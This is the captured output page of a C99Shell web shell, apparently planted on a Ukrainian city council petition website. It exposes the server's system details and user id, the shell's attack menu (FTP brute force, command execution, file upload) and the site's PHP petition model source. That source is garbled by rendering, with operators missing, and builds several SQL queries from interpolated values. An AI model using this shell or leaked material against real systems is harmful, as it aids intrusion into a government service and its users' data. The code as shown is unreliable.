!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/petitions.zt-rada.gov.ua/modules/list/   drwxr-xr-x
Free 106.93 GB of 200.55 GB (53.32%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     model.inc.php (18.64 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
class List_Model
{
    public static function 
AddPetition($row)
    {
        if (
strlen(trim($row['theme'])) < || strlen(trim($row['text'])) < 20)
                return 
0;
        
$row Main_Model::ArrayFilter($row, array('theme''text'));
        
$row['petition_user_id'] = Users_Model::GetUserId();
        
Users_Model::IncPetitionsCount($row['petition_user_id']);
        
$row['date'] = Main_Model::GetNowDate();
        
$row['number'] = Main_Model::GetNowYear();
        
$res Main_Model::ExecuteQuery("INSERT INTO `petitions` (`petition_id`, `petition_user_id`, `petition_theme`, `petition_text`, `petition_date`, `petition_number`) VALUES (NULL, :petition_user_id, :theme, :text, :date, :number)"$row);
        
$id Main_Model::$DB->lastInsertId();
        
self::SignPetition($idfalse);
        return 
$id;
    }
    public static function 
GetPetitionsCount($status)
    {
        if ((
$status <= || $status 4) && !Users_Model::IsAdmin())
            
$status 1;
        if (
$status == -1)
        {
            
$sql "SELECT COUNT(*) as count FROM petitions WHERE petition_status < 0";
        } else
        {
            
$sql "SELECT COUNT(*) as count FROM petitions WHERE petition_status = '{$status}'";
        }
        
$sth Main_Model::ExecuteQuery($sql);
        
$row $sth->fetch();
        return 
$row['count'];
    }

    public static function 
AddNumber()
    {
        
$year Main_Model::GetNowYear();
        
$res Main_Model::ExecuteQuery("SELECT * FROM numbers WHERE year = '{$year}'");
        
$row $res->fetchAll();
        
$row $row[0];
        if (empty(
$row))
            
$res Main_Model::ExecuteQuery("INSERT INTO numbers (year,value) VALUES ('{$year}', 0)");
        else {
            
$number $row['number'] + 1;
            
$res Main_Model::ExecuteQuery("UPDATE numbers SET number = '{$number}' WHERE year = '{$year}'");
        }
        return 
$number;
    }

    public static function 
ConfirmPetition($id)
    {
        
$petition self::GetPetitionByIdForAdmin($id);
        if (
strlen($petition['petition_number']) < 5)
            
$row['num'] = Main_Model::GetNowYear().'-'.self::AddNumber();
        else
            
$row['num'] = $petition['petition_number'];
        
$row['date'] = Main_Model::GetNowDate();
        
$row['id'] = $id;
        
$res Main_Model::ExecuteQuery("UPDATE `petitions` SET petition_status = '1', petition_publication_date = :date, petition_number = :num WHERE petition_id = :id"$row);
    }

    public static function 
SendDeleteInfoMessage($petition_id)
    {
        
$petition self::GetPetitionByIdForAdmin($petition_id);
        
$user Users_Model::GetUserById($petition['petition_user_id']);
        
$html  List_View::DeleteInfoMessage($petition$user);
        
$headers "MIME-Version: 1.0\r\n";
        
$headers .= "Content-type: text/html; charset=utf-8\r\n";
        
$headers .= 'From: petitions@zt-rada.gov.ua' "\r\n";
        
mail($user['user_email'], 'Ваша петиція видалена з сайту петицій до Житомирської міської ради'$html$headers);
    }

    public static function 
SetDeleteStatusOfPetition($id$text null$sendMail false)
    {
        
$petition self::GetPetitionByIdForAdmin($id);
        
$row = array();
        
$row['id'] = $id;
        if (
$petition['petition_status'] < 0)
            
$res Main_Model::ExecuteQuery("DELETE FROM `petitions` WHERE petition_id = :id"$row);
        else {
            
$row['text'] = empty($text) ? $petition['petition_reject_message'] : $text;
            if (
$petition['petition_status'] == 0)
                
$res Main_Model::ExecuteQuery("UPDATE `petitions` SET petition_status = -10, petition_reject_message = :text WHERE petition_id = :id"$row);
            else
                
$res Main_Model::ExecuteQuery("UPDATE `petitions` SET petition_status = -abs(petition_status), petition_reject_message = :text WHERE petition_id = :id"$row);
        }
        if (
$sendMail)
            
List_Model::SendDeleteInfoMessage($id);
    }
    public static function 
RestorePetition($id)
    {
        
$petition self::GetPetitionByIdForAdmin($id);
        
$row = array();
        
$row['id'] = $id;
        if (
$petition['petition_status'] == -10)
            
$res Main_Model::ExecuteQuery("UPDATE `petitions` SET petition_status = 0, petition_reject_message = '' WHERE petition_id = :id"$row);
        else
            
$res Main_Model::ExecuteQuery("UPDATE `petitions` SET petition_status =  abs(petition_status), petition_reject_message = ''  WHERE petition_id = :id"$row);
    }
    public static function 
SetPetitionAnswer($text$id$status 2)
    {
        
$row = array('id' => $id'text' => $text'status' => $status);
        
$res Main_Model::ExecuteQuery("UPDATE `petitions` SET petition_status = :status, petition_answer_text = :text WHERE petition_id = :id"$row);
    }
    public static function 
EditPetition($theme$text$number$id)
    {
        
$row = array('id' => $id'theme' => $theme'text' => $text'number' => $number);
        
$res Main_Model::ExecuteQuery("UPDATE `petitions` SET petition_theme = :theme, petition_number = :number, petition_text = :text WHERE petition_id = :id"$row);
    }
    public static function 
PetitionCollected($id)
    {
        
$row = array('id' => $id'date' => Main_Model::GetNowDate());
        
$res Main_Model::ExecuteQuery("UPDATE `petitions` SET petition_status = '2', petition_collected_date = :date WHERE petition_id = :id"$row);
    }
    public static function 
SetNotSupportedFlags()
    {
        
$days Params_Model::DaysCount();
        
$daysNew Params_Model::DaysCountNew();
        
$sql "UPDATE petitions SET petition_status = 4 WHERE (((($days*24*60*60  - TIMESTAMPDIFF(second,petition_publication_date,NOW())) < 0) AND (petition_id < 1468)) OR ((($daysNew*24*60*60  - TIMESTAMPDIFF(second,petition_publication_date,NOW())) < 0) AND (petition_id >= 1468)))  AND petition_status = 1";
        
$res Main_Model::ExecuteQuery($sql);
    }
    public static function 
GetCountOfTypes()
    {
        
$sql "SELECT COUNT(*) as c , petition_status FROM petitions GROUP BY petition_status";
        
$res Main_Model::ExecuteQuery($sql);
        
$rows $res->fetchAll();
        
$result = array();
        for(
$i 0$i count($rows); $i++)
        {
            if (
$rows[$i]['petition_status'] < 0)
                
$result[100] += $rows[$i]['c'];
            else
                
$result[$rows[$i]['petition_status']] += $rows[$i]['c'];
        }
        return 
$result;
    }
    public static function 
GetPetitionsList($sorting 0$start 0$count 1000000$status 1)
    {
        switch(
$sorting)
        {
            case 
0$orderby "petition_publication_date DESC"; break;
            case 
1$orderby "petition_publication_date ASC"; break;
            case 
2$orderby "petition_signs_count DESC"; break;
            case 
3$orderby "petition_signs_count ASC"; break;
            default:  
$orderby "petition_publication_date DESC";
        }
        if (
$status >= 0)
            
$res Main_Model::ExecuteQuery("SELECT petition_id, petition_date, petition_number, petition_publication_date, petition_signs_count, petition_theme, petition_status FROM petitions WHERE petition_status = '{$status}' ORDER BY {$orderby} LIMIT {$start}{$count}");
        if (
$status && Users_Model::IsAdmin())
            
$res Main_Model::ExecuteQuery("SELECT * FROM petitions WHERE petition_status < 0 ORDER BY {$orderby} LIMIT {$start}{$count}");
        
$rows $res->fetchAll();
        for(
$i 0$i count($rows); $i++) {
            
$rows[$i]['petition_rest_seconds'] = 0;
            if (
$rows[$i]['petition_status'] == 1) {
                
$rows[$i]['petition_rest'] = List_Model::GetRestOfDays($rows[$i]['petition_id'], $rows[$i]['petition_publication_date']);
                
$rows[$i]['petition_rest_seconds'] = List_Model::GetRestOfTime($rows[$i]['petition_id'], $rows[$i]['petition_publication_date']);
            }
            else
                
$rows[$i]['petition_rest'] = "-";
            
$rows[$i]['petition_percent'] = round($rows[$i]['petition_signs_count'] / Params_Model::VotesCount($rows[$i]['petition_id']) * 100);
            
$rows[$i]['petition_usefuldate'] = Main_Model::GetUsefulDate($rows[$i]['petition_date'], truetrue);
            if (
$rows[$i]['petition_percent'] > 100)
                
$rows[$i]['petition_percent'] = 100;
            
$arr Users_Model::GetSignsOfCurrentUser();
            if (
strlen($rows[$i]['petition_number']) < 5)
                
$rows[$i]['petition_number'] = "-";
            if (
in_array($rows[$i]['petition_id'], $arr))
                
$rows[$i]['petition_curuser_sign'] = true;
            else
                
$rows[$i]['petition_curuser_sign'] = false;
            
$rows[$i]['maxcount'] = Params_Model::VotesCount($rows[$i]['petition_id']);
        }
        return 
$rows;
    }
    public static function 
GetPetitionsForAdmin($count null$start 0)
    {
        
$row=array('start' => $start'count' => $count == null 20 $count);
        
//$res = Main_Model::ExecuteQuery("SELECT petitions.*, COUNT(signatures.signature_id) as count FROM petitions LEFT JOIN signatures ON petitions.petition_id = signatures.signature_petition_id GROUP BY petition_id ORDER BY petition_status ASC, petition_publication_date DESC, petition_number DESC, petition_id DESC  LIMIT {$row['start']}, {$row['count']}");
        
$res Main_Model::ExecuteQuery("SELECT * FROM petitions ORDER BY petition_status ASC, petition_publication_date DESC, petition_number DESC, petition_id DESC  LIMIT {$row['start']}{$row['count']}");
        
$rows $res->fetchAll();
        for(
$i 0$i count($rows); $i++)
        {
            
$res2 Main_Model::ExecuteQuery("SELECT COUNT(*) as count FROM signatures WHERE signature_petition_id = {$row[$i]['petition_id']}");
            
$rows2 $res->fetchAll();
            
//$rows[$i]['count'] = $rows2['count'];
        
}
        
//die;
        
return $rows;
    }
    public static function 
GetPetitions($count null$start 0)
    {
        
$row=array('start' => $start'count' => $count == null 20 $count);
        
//$res = Main_Model::ExecuteQuery("SELECT petitions.*, COUNT(signatures.signature_id) as count FROM petitions LEFT JOIN signatures ON petitions.petition_id = signatures.signature_petition_id WHERE petition_status > 0 GROUP BY petition_id ORDER BY petition_publication_date DESC, petition_number DESC, petition_id DESC LIMIT {$row['start']}, {$row['count']}", $row);
        
$res Main_Model::ExecuteQuery("SELECT petitions.* FROM petitions WHERE petition_status > 0 GROUP BY petition_id ORDER BY petition_publication_date DESC, petition_number DESC, petition_id DESC LIMIT {$row['start']}{$row['count']}"$row);
        return 
$res->fetchAll();
    }

    public static function 
GetPetitionById($id)
    {
        
$res Main_Model::ExecuteQuery("SELECT petitions.*, users.*, COUNT(signatures.signature_id) as count FROM petitions INNER JOIN users ON petitions.petition_user_id = users.user_id LEFT JOIN signatures ON petitions.petition_id = signatures.signature_petition_id WHERE petition_id = :id AND petition_status > 0", array('id' => $id));
        
$row $res->fetch();
        return 
$row['petition_status'] > $row:null ;
    }

    public static function 
GetPetitionByIdForAdmin($id)
    {
        
$res Main_Model::ExecuteQuery("SELECT petitions.*, users.*, COUNT(signatures.signature_id) as count FROM petitions INNER JOIN users ON petitions.petition_user_id = users.user_id LEFT JOIN signatures ON petitions.petition_id = signatures.signature_petition_id WHERE petition_id = :id", array('id' => $id));
        return 
$res->fetch();
    }
    public static function 
IsUserSignedPetitionTodayByUID($petition_id$user_uid)
    {
        
$sql "SELECT signature_petition_id, signature_uid, COUNT(DISTINCT signature_user_id)  FROM signatures WHERE signature_petition_id = :pid AND signature_uid = :uid AND DATEDIFF(DATE(signature_date), DATE(NOW())) = 0 GROUP BY signature_uid, DATE(signature_date)";
        
$res Main_Model::ExecuteQuery($sql, array('uid' => $user_uid'pid' => $petition_id));
        
$rows $res->fetchAll();
        if (
count($rows) > 0)
            return 
true;
        else
            return 
false;

    }
    public static function 
IsUserSignedPetitionTodayByIP($petition_id$user_ip)
    {
        
$sql "SELECT signature_petition_id, signature_uid, COUNT(DISTINCT signature_user_id)  FROM signatures WHERE signature_petition_id = :pid AND signature_ip = :ip AND DATEDIFF(DATE(signature_date), DATE(NOW())) = 0 GROUP BY signature_ip, DATE(signature_date)";
        
$res Main_Model::ExecuteQuery($sql, array('ip' => $user_ip'pid' => $petition_id));
        
$rows $res->fetchAll();
        if (
count($rows) > 0)
            return 
true;
        else
            return 
false;

    }
    public static function 
SignPetition($id$testBots true)
    {
        if (
self::IsSigned($id)) {
            return array(
'status' => false'message' => 'Петицію вже підписано');
        }
        
$row['petition_id'] = $id;
        
$row['user_id'] = Users_Model::GetUserId();
        
$row['date'] = Main_Model::GetNowDate();
        
$row['ip'] = Users_Model::GetIP();
        
$row['uid'] = Users_Model::GetUID();
        if (
$testBots && empty($row['uid']))
        {
            return array(
'status' => false'message' => 'Помилка підписання. Оновіть сторінку. Якщо помилка не зникне, зверніться до служби підтримки.');
        }
        if (
self::IsUserSignedPetitionTodayByUID($id$row['uid']) && $testBots)
        {
            return array(
'status' => false'message' => 'З одного комп\'ютера можна підписувати петицію лише один раз');
        }

       
// die;
        
if (self::IsUserSignedPetitionTodayByIP($id$row['ip']) && $testBots)
        {
            return array(
'status' => false'message' => 'З однієї ІР-адреси можна голосувати лише раз на добу за одну петицію. Ви зможете проголосувати за дану петицію завтра.');
        }
        
$petition self::GetPetitionByIdForAdmin($id);
        if (
$petition['petition_status'] == && $petition['petition_user_id'] != Users_Model::GetUserId())
            return array(
'status' => false'message' => 'Помилка');
        if (
$petition['petition_status'] >= || $petition['petition_status'] < 0)
            return array(
'status' => false'message' => 'Не можна підписувати петицію, яка вже розглянута');
        if (
$petition['count'] == Params_Model::VotesCount($id) - 1)
        {
            
self::PetitionCollected($id);
        }
        
Users_Model::IncVotesCount(Users_Model::GetUserId());
        
self::IncPetitionSigns($id);
        
Main_Model::ExecuteQuery("INSERT INTO `signatures` (`signature_id`, `signature_user_id`, `signature_petition_id`, `signature_date`, `signature_ip`, `signature_uid`) VALUES (NULL, :user_id, :petition_id, :date, :ip, :uid)"$row);
        return array(
'status' => true'message' => 'Петицію підписано');
    }
    
/* додано перший параметр */
    
public static function GetRestOfDays($petition_id$date)
    {
        
$dformat '-';
        
$endDate strtotime(Main_Model::GetNowDate());
        
$beginDate strtotime($date);
        if (
$petition_id 1468)
            
$res Params_Model::DaysCount() * 24*60*60 abs($endDate $beginDate);
        else
            
$res Params_Model::DaysCountNew() * 24*60*60 abs($endDate $beginDate);
        if (
$res 0)
        {
            
self::SetNotSupportedFlags();
        }
        return (int)(
$res 3600 24);
    }
    
/* додано перший параметр */
    
public static function GetRestOfSeconds($petition_id$date)
    {
        
$dformat '-';
        
$endDate strtotime(Main_Model::GetNowDate());
        
$beginDate strtotime($date);
        if (
$petition_id 1468)
            
$res Params_Model::DaysCount() * 24*60*60 abs($endDate $beginDate);
        else
            
$res Params_Model::DaysCountNew() * 24*60*60 abs($endDate $beginDate);
        if (
$res 0)
        {
            
self::SetNotSupportedFlags();
        }
        return 
$res;
    }
    
/* додано перший параметр */
    
public static function GetRestOfTime($petition_id$date)
    {
        
$seconds self::GetRestOfSeconds($petition_id$date);
        
$minutes = (int)($seconds 60);
        
$hours = (int)($minutes 60);
        
$minutes $minutes 60;
        
$str '';
        if (
$hours <= 24) {
            if (
$hours 0) {
                
$str = ($hours) . ' год. ' . ($minutes) . ' хв.';
                return 
$str;
            }
            if (
$minutes 0){
                
$str = (minutes) . ' хв.';
                return 
$str;
            }
            return 
'0';
        }
        
$days self::GetRestOfDays($petition_id$date);
        
$last $days 10;
        
$prelast $days 100;
        
$p '';

        if (
$prelast >= && $prelast <= 20)
            
$p ' днів';
        else
        switch(
$last)
        {
            case 
1$p ' день';
                break;
            case 
2: case 3: case 4$p ' дні';
                break;
            case 
5: case 6: case 7: case 8: case 9: case 0$p ' днів';
                break;
        }
        return 
$days$p;
    }
    public static function 
IsSigned($id)
    {
        
$row['petition_id'] = $id;
        
$row['user_id']     = Users_Model::GetUserId();
        
$res Main_Model::ExecuteQuery("SELECT COUNT(*) FROM signatures WHERE signature_petition_id = :petition_id AND signature_user_id = :user_id"$row);
        return 
$res->fetchColumn() > 0;
    }

    public static function 
GetSignatories($id)
    {
        
$row['petition_id'] = $id;
        
$res Main_Model::ExecuteQuery("SELECT signatures.*, users.user_firstname, users.user_lastname, users.user_middlename FROM signatures INNER JOIN users ON users.user_id = signatures.signature_user_id WHERE signature_petition_id = :petition_id"$row);
        return 
$res->fetchAll();
    }
    public static function 
IncPetitionSigns($petition_id)
    {
        
$sql "UPDATE petitions SET petition_signs_count = petition_signs_count + 1 WHERE petition_id = :id";
        
$res Main_Model::ExecuteQuery($sql, array('id' => $petition_id));
    }
    public static function 
UpdatePetitionCounters()
    {
        
$sql "UPDATE petitions SET petition_signs_count = (SELECT COUNT(*) FROM signatures WHERE signature_petition_id = petition_id)";
        
$res Main_Model::ExecuteQuery($sql);
    }
}
//List_Model::UpdatePetitionCounters();

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0403 ]--